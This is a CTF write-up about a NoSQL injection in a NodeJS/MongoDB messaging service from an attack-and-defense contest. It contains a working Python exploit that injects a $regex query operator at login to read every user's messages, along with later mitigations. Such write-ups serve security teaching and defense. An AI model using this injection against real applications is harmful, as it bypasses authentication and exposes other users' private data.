Last week Bambi CTF took place which is a beginner friendly CTF organized by my university as part of the course “International Information Security Contest”. Together with colleagues from past security courses we participated as team-socket. Most of our team members including myself had little to no CTF experience, so our chances of success were unclear. During the first hour the game server was closed so that each team could examine all services. In total there were 4 exploitable services. Since javascript is my daily business as a web developer I focused on Stonksexchange which is a NodeJS application with a mongodb database.


Setup

  • Visual Studio Code with Remote SSH extension : edit files on remote server with ease
  • Burpsuite : examine and intercept requests
  • Python : exploit
  • Arkime : traffic analysis (preinstalled on every vulnbox)

Vulnerability

Stonksexchange is a simple web application where authenticated users can exchange messages. In the backend there is an express server running with a mongodb database.

stonksexchange frontend about stonksexchange frontend messages

After taking a look at the source code there are three routes which are potentially vulnerable.
POST: /login
POST: /register
GET: /messages

Key Questions:
Whats the basic functionality and how can we tamper this ?
→ send/recieve messages
Which variables can we control ?
→ req.body.username, req.body.password, req.session.user

router.get('/messages', function (req, res, next) {
  if (!req.session.user) {
    res.status(403).send('Not logged in');
    return;
  }
  var db = req.app.locals.db;
  db.collection('messages').find({ 'username': req.session.user }, { 'sort': { '$natural': -1 } }).limit(50).toArray((err, results) => {
    if (err) {
      res.status(500).send('Internal server error');
      return;
    }
    res.locals.messages = results;
    res.render('messages', { title: 'Messages' });
  });
});

If we can control req.session.user maybe we can inject sequences which than get interpreted by mongodb because the user input is not sanatized. After reading a bit in the mongodb documentation, I came across Evaluation Query Operators. Lets test the operator $ne with /register route.

router.post('/register', function (req, res, next) {
  if (!req.body.username || !req.body.password) {
    res.status(400).send('Missing username or password');
    return;
  }
  var db = req.app.locals.db;

  /** 
   *   if the username is "{ne$: null}" findOne() always evaluates true and returns the first user in the database
   *   so the server should respond with status 400 and message "Username already in use"
   */  

  db.collection('users').findOne({ 'username': req.body.username }).then(results => {
    if (results) {
      res.status(400).send('Username already in use');
      return;
    }
    argon2.hash(req.body.password).then(hash => {
      db.collection('users').insertOne({ 'username': req.body.username, 'password': hash }).then(results => {
        req.session.user = req.body.username;
        res.redirect('/');
      });
    });
  });
});

Intercepting the request with burpsuite our request looks like this.

register request

In order to test the method for NoSQL injection I inject the query operator.

register request

NoSQL injection works. Nice ! Lets try to exploit this further.
Considering the login method, you notice that a reverse collection scan ($natural: -1) is performed on the user database and you can inject query operators.

router.post('/login', function (req, res) {
  if (!req.body.username || !req.body.password) {
    res.status(400).send('Missing username or password');
    return;
  }
  var db = req.app.locals.db;
  db.collection('users').findOne({ 'username': req.body.username }, { 'sort': { '$natural': -1 } }).then(results => {
    if (!results) {
      res.status(400).send('Invalid username or password');
      return;
    }
    argon2.verify(results.password, req.body.password).then(result => {
      if (!result) {
        res.status(400).send('Invalid username or password');
        return;
      }
      req.session.user = req.body.username;
      res.redirect('/');
    });
  });
});

At this point, we are already aware of important information that we must take into account in the exploit chain.

  • all three methods are vulnerable to NoSQL injection.
  • if the injected operator matches on all database entries e.g. $regex: ^. the /login function will perform the credential check on the user that was created last
  • if the credentials match /login it is not the user found in the database that determines the session.user, but the user passed in the request

Exploit

Having this in mind it is possible to login with a query operator which matches all users and than gets interpreted in the /messages search. Time to craft the exploit with python.

  1. Register a random user and save the password
  2. Login with query parameter as username and the password from 1.
  3. Perform GET request on /messages to retrieve all messages / flags (limited to 50 due to limit(50) in /messages)
import requests
import string
import random
import re

# if you define a proxy in get() or post() you can intercept and debug with burpsuite 
proxies = {'http': 'http://127.0.0.1:8080', 'https': 'http://127.0.0.1:8080'}

flag = 'ENO'

login_url = 'http://10.211.55.5:8199/login'
register_url = 'http://10.211.55.5:8199/register'
message_url = 'http://10.211.55.5:8199/messages'
headers = {'content-type': 'application/json'}

# let requests handle cookie stuff
session = requests.Session()

# generate random credentials
random_string = ''.join(random.choice(string.ascii_lowercase) for _ in range(14))
pw = random_string[::-1]

cred = {'username': random_string, 'password': pw}
payload = '{"username": {"$regex": "."}, "password": "'+pw+'"}'

# register user to control the reverse lookup in /login
register = session.post(register_url , proxies=proxies, data=cred)
if register.status_code != 200 and register.status_code != 302:
	print('registration failed')

# login with query operator payload
login = session.post(login_url, proxies=proxies, data=payload, headers=headers)
if login.status_code != 200 and login.status_code != 302:
	print('login failed')

# retrieve flags
messages = session.get(message_url, proxies=proxies)
if messages.status_code != 200:
	print('messages failed')
if flag in messages.text:
	print('[ FLAG ] : '+re.search('ENO.{48}', messages.text).group())

Lets see if it works.

burpsuit register
burpsuit login
We can read other users messages. burpsuit messages
exploit result

exploit reaction

Mitigation

During the CTFs we were attacked early, even before we understood the vulnerability, so we were under a bit of pressure. After we have analyzed the incoming attacks with Arkime we notized that the attackers inject regex operators. My quick and dirty solution was to filter the incoming request data with String.replace() at the beginning of the logging method.

router.post('/login', function (req, res) {
req.body.username = req.body.username.toString().replace(/[&\/\\#,+()$~%.'":*?<>{}]/g,'');

Fortunately, the service checker had no problem with the solution and we did not lose any more flags. As I already mentioned this solution is anything but best practice because it may opens up new attack vectors and limits the possible (probably valid) usernames.
When I investigated the service further a few days after the CTF, another idea occurred to me. /messages uses req.session.user to search for all messages of the current user. One step ahead req.session.user is set by /login : req.session.user = req.body.username;. So instead of using the username from the request body (which may inject the query operator) as session username we can use the username from the database lookup.

router.post('/login', function (req, res) {
...
  var db = req.app.locals.db;
  db.collection('users').findOne({ 'username': req.body.username }, { 'sort': { '$natural': -1 } }).then(results => {
    if (!results) {
      res.status(400).send('Invalid username or password');
      return;
    }
    argon2.verify(results.password, req.body.password).then(result => {
      if (!result) {
        res.status(400).send('Invalid username or password');
        return;
      }
      // use the username from database lookup as session username
      req.session.user = results.username;
      res.redirect('/');
    });
  });
});

Now an attacker can still use a query operator for login, but it is no longer interpreted in the message method. In order to prohibit query operators completely express-mongo-sanitize can be implemented before all database lookups.

Overall Bambi CTF was a great way to get started with Attack and Defense. Really looking forward to upcoming CTFs.